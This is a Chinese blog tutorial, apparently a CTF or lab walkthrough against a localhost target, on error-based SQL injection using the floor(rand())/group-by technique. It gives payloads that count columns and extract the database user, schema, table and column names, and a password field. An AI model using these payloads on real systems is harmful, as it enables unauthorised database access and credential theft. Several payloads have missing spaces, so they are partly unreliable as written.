SQL注入--报错注入

一个带get参数的网站并且不从数据库返回数据,但存在报错信息
http://127.0.0.1/index.php?id=1

http://127.0.0.1/index.php?id=1'


查看字段情况:

http://127.0.0.1/index.php?id=1' order by 3%23

http://127.0.0.1/index.php?id=1' order by 4%23


报错注入语句格式:

http://127.0.0.1/index.php?id=1' and 1=2 union select1,2,3 from(select+count(*),concat(floor(rand(0)*2),(SQL语句))a from information_schema.tables group by a)b%23
注:
其中1,2,3为存在的字段数
SQL语句处为要输入的SQL注入语句

查看当前数据库账号的权限:
http://127.0.0.1/index.php?id=1' and 1=2 union select 1,2,3 from(select+count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b%23


爆库名:

http://127.0.0.1/index.php?id=1' and 1=2 union select 1,2,3 from (select+count(*),concat(floor(rand(0)*2),(
select schema_name from information_schema.schemata limit 5,1
))a from information_schema.tables group by a)b%23
注:
limit x,1 中x表示要查询的第x个数据库名,从0开始算起


爆表名:

http://127.0.0.1/index.php?id=1' and 1=2 unionselect 1,2,3 from (select+count(*),concat(floor(rand(0)*2),(
select table_name from information_schema.tables where table_schema=database() limit0,1
))a from information_schema.tables group by a)b%23
注:
database() 表示使用当前数据库,如果要跨库查询,将库名十六进制编码后填入其中,如:table_schema=0x111111111;
limit 0,1 表示查询第一个表名,修改0查询其他;


爆字段:

http://127.0.0.1/index.php?id=1' and 1=2 union select 1,2,3 from (select+count(*),concat(floor(rand(0)*2),(
select column_name from information_schema.columns where table_schema=database() and table_name=0x11111111limit 2,1
))a from information_schema.tables group by a)b%23
注:
0x11111111  为要查询的表名的十六进制
limit 2,1 为要查询的第2个字段


爆pwd:

http://127.0.0.1/index.php?id=1' and 1=2 union select 1,2,3 from(select+count(*),concat(floor(rand(0)*2),(
select pwd from user
))a from information_schema.tables group by a)b%23

拿到最终的key

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值